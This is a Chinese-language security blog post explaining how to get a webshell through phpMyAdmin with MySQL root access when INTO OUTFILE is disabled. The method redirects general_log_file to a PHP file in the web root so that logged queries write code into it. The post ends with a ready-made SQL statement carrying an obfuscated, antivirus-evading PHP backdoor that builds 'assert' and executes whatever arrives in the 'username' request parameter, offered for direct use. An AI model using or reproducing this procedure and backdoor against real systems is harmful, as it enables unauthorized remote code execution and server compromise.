phpmyadmin新姿势getshell
mysql中的Into outfile禁用的情况下,我该如何getshell?
目前into outfile
被禁用
那么我们尝试通过一个脑洞大开的方法去getshell。
(必须是mysql root权限)
登录phpmyadmin后,查看全局变量:找到general log和general log file
general log file
是存储了每一个sql语句执行的日志(包含SQL语句本身)
但是general log
变量必须是ON
状态,代表启用,然后再去更改
general log file
的地址为我们的webshell,绝对路径。
在每一次更改general log file
的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。
此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。
MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: MySQL Time Id Command Argument 121 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file" 121 Quit
接下来,我们直接随意查询SQL,每一句都会被写入这个ice.php
下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:
SELECT "<?php
$p = array('f'=>'a',
#afffffffff
'pffff'=>'s'/*223* 1*/,
'e'=>'fffff',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(
'lfaaaa'=>'r',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(;
'nnnnn'=>'t'//&$@&(#*(;
);//&$@&(#*(;
$a = array_keys($p);//9*9*5656
@$_=$p['pffff'].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
$p['pffff'].$a[2];
@$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['f']./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['lfaaaa'].$p['nnnnn'];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@$_#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
($_REQUEST[#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
'username'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
]);
?>"
密码username
本文作者: iceH
本文链接: http://www.secice.cn/p/588d5ec8
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!